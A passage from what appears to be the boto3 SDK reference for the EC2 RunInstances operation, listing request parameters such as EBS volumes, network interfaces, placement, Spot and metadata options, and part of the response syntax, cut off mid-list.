100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +* **ImageId** (_string_) -- The ID of the AMI. An AMI ID is required to launch an instance and must be specified here or in a launch template. +* **InstanceType** (_string_) -- + + The instance type. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: m1.small + +* **Ipv6AddressCount** (_integer_) -- + + \[EC2-VPC\] The number of IPv6 addresses to associate with the primary network interface. Amazon EC2 chooses the IPv6 addresses from the range of your subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + +* **Ipv6Addresses** (_list_) -- + + \[EC2-VPC\] The IPv6 addresses from the range of the subnet to associate with the primary network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + +* **KernelId** (_string_) -- + + The ID of the kernel. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **KeyName** (_string_) -- + + The name of the key pair. You can create a key pair using [CreateKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html) or [ImportKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html) . + + Warning + + If you do not specify a key pair, you can't connect to the instance unless you choose an AMI that is configured to allow users another way to log in. + +* **MaxCount** (_integer_) -- + + **\[REQUIRED\]** + + The maximum number of instances to launch. If you specify more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches the largest possible number of instances above MinCount . + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 FAQ. + +* **MinCount** (_integer_) -- + + **\[REQUIRED\]** + + The minimum number of instances to launch. If you specify a minimum that is more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches no instances. + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 General FAQ. + +* **Monitoring** (_dict_) -- + + Specifies whether detailed monitoring is enabled for the instance. + + * **Enabled** _(boolean) --_ **\[REQUIRED\]** + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + +* **Placement** (_dict_) -- + + The placement for the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + +* **RamdiskId** (_string_) -- + + The ID of the RAM disk to select. Some kernels require additional drivers at launch. Check the kernel requirements for information about whether you need to specify a RAM disk. To find kernel requirements, go to the AWS Resource Center and search for the kernel ID. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **SecurityGroupIds** (_list_) -- + + The IDs of the security groups. You can create a security group using [CreateSecurityGroup](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateSecurityGroup.html) . + + If you specify a network interface, you must specify any security groups as part of the network interface. + + * _(string) --_ +* **SecurityGroups** (_list_) -- + + \[EC2-Classic, default VPC\] The names of the security groups. For a nondefault VPC, you must use security group IDs instead. + + If you specify a network interface, you must specify any security groups as part of the network interface. + + Default: Amazon EC2 uses the default security group. + + * _(string) --_ +* **SubnetId** (_string_) -- + + \[EC2-VPC\] The ID of the subnet to launch the instance into. + + If you specify a network interface, you must specify any subnets as part of the network interface. + +* **UserData** (_string_) -- + + The user data to make available to the instance. For more information, see [Running commands on your Linux instance at launch](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) (Linux) and [Adding User Data](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-instance-metadata.html#instancedata-add-user-data) (Windows). If you are using a command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. User data is limited to 16 KB. + + > **This value will be base64 encoded automatically. Do not base64 encode this value prior to performing the operation.** + +* **AdditionalInfo** (_string_) -- Reserved. +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. If you do not specify a client token, a randomly generated token is used for the request to ensure idempotency. + + For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraints: Maximum 64 ASCII characters + + This field is autopopulated if not provided. + +* **DisableApiTermination** (_boolean_) -- + + If you set this parameter to true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. To change this attribute after launch, use [ModifyInstanceAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html) . Alternatively, if you set InstanceInitiatedShutdownBehavior to terminate , you can terminate the instance by running the shutdown command from the instance. + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EbsOptimized** (_boolean_) -- + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal Amazon EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS-optimized instance. + + Default: false + +* **IamInstanceProfile** (_dict_) -- + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + +* **InstanceInitiatedShutdownBehavior** (_string_) -- + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + Default: stop + +* **NetworkInterfaces** (_list_) -- + + The network interfaces to associate with the instance. If you specify a network interface, you must specify any security groups and subnets as part of the network interface. + + * _(dict) --_ + + Describes a network interface. + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + * **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + * **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + * **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + * _(string) --_ + * **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +* **PrivateIpAddress** (_string_) -- + + \[EC2-VPC\] The primary IPv4 address. You must specify a value from the IPv4 address range of the subnet. + + Only one private IP address can be designated as primary. You can't specify this option if you've specified the option to designate a private IP address as the primary IP address in a network interface specification. You cannot specify this option if you're launching more than one instance in the request. + + You cannot specify this option and the network interfaces option in the same request. + +* **ElasticGpuSpecification** (_list_) -- + + An elastic GPU to associate with the instance. An Elastic GPU is a GPU resource that you can attach to your Windows instance to accelerate the graphics performance of your applications. For more information, see [Amazon EC2 Elastic GPUs](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * _(dict) --_ + + A specification for an Elastic Graphics accelerator. + + * **Type** _(string) --_ **\[REQUIRED\]** + + The type of Elastic Graphics accelerator. For more information about the values to specify for Type , see [Elastic Graphics Basics](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html#elastic-graphics-basics) , specifically the Elastic Graphics accelerator column, in the _Amazon Elastic Compute Cloud User Guide for Windows Instances_ . + +* **ElasticInferenceAccelerators** (_list_) -- + + An elastic inference accelerator to associate with the instance. Elastic inference accelerators are a resource you can attach to your Amazon EC2 instances to accelerate your Deep Learning (DL) inference workloads. + + You cannot specify accelerators from different generations in the same request. + + * _(dict) --_ + + Describes an elastic inference accelerator. + + * **Type** _(string) --_ **\[REQUIRED\]** + + The type of elastic inference accelerator. The possible values are eia1.medium , eia1.large , eia1.xlarge , eia2.medium , eia2.large , and eia2.xlarge . + + * **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + +* **TagSpecifications** (_list_) -- + + The tags to apply to the resources during launch. You can only tag instances and volumes on launch. The specified tags are applied to all instances or volumes that are created during launch. To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id642)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id644)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **LaunchTemplate** (_dict_) -- + + The launch template to use to launch the instances. Any parameters that you specify in RunInstances override the same parameters in the launch template. You can specify either the name or ID of a launch template, but not both. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **Version** _(string) --_ + + The version number of the launch template. + + Default: The default version for the launch template. + +* **InstanceMarketOptions** (_dict_) -- + + The market (purchasing) option for the instances. + + For RunInstances , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **MarketType** _(string) --_ + + The market type. + + * **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + * **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. The default is the On-Demand price. + + * **SpotInstanceType** _(string) --_ + + The Spot Instance request type. For [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances) , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + The duration period starts as soon as your Spot Instance receives its instance ID. At the end of the duration period, Amazon EC2 marks the Spot Instance for termination and provides a Spot Instance termination notice, which gives the instance a two-minute warning before it terminates. + + You can't specify an Availability Zone group or a launch group if you specify a duration. + + New accounts or accounts with no previous billing history with AWS are not eligible for Spot Instances with a defined duration (also known as Spot blocks). + + * **ValidUntil** _(datetime) --_ + + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T\*HH\* :_MM_ :_SS_ Z). Supported only for persistent requests. + + * For a persistent request, the request remains active until the ValidUntil date and time is reached. Otherwise, the request remains active until you cancel it. + * For a one-time request, ValidUntil is not supported. The request remains active until all instances launch or you cancel the request. + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + +* **CreditSpecification** (_dict_) -- + + The credit option for CPU usage of the burstable performance instance. Valid values are standard and unlimited . To change this attribute after launch, use [ModifyInstanceCreditSpecification](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceCreditSpecification.html) . For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: standard (T2 instances) or unlimited (T3/T3a instances) + + * **CpuCredits** _(string) --_ **\[REQUIRED\]** + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + +* **CpuOptions** (_dict_) -- + + The CPU options for the instance. For more information, see [Optimizing CPU options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. To disable multithreading for the instance, specify a value of 1 . Otherwise, specify the default value of 2 . + +* **CapacityReservationSpecification** (_dict_) -- + + Information about the Capacity Reservation targeting option. If you do not specify this parameter, the instance's Capacity Reservation preference defaults to open , which enables it to run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + + * **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs as an On-Demand Instance. + * **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation in which to run the instance. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the Capacity Reservation resource group in which to run the instance. + +* **HibernationOptions** (_dict_) -- + + Indicates whether an instance is enabled for hibernation. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + You can't enable hibernation and AWS Nitro Enclaves on the same instance. + + * **Configured** _(boolean) --_ + + If you set this parameter to true , your instance is enabled for hibernation. + + Default: false + +* **LicenseSpecifications** (_list_) -- + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + +* **MetadataOptions** (_dict_) -- + + The metadata options for the instance. For more information, see [Instance metadata and user data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) . + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + +* **EnclaveOptions** (_dict_) -- + + Indicates whether the instance is enabled for AWS Nitro Enclaves. For more information, see [What is AWS Nitro Enclaves?](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave.html) in the _AWS Nitro Enclaves User Guide_ . + + You can't enable AWS Nitro Enclaves and hibernation on the same instance. + + * **Enabled** _(boolean) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true . + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Groups': \[ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + \], + 'Instances': \[ + { + 'AmiLaunchIndex': 123, + 'ImageId': 'string', + 'InstanceId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5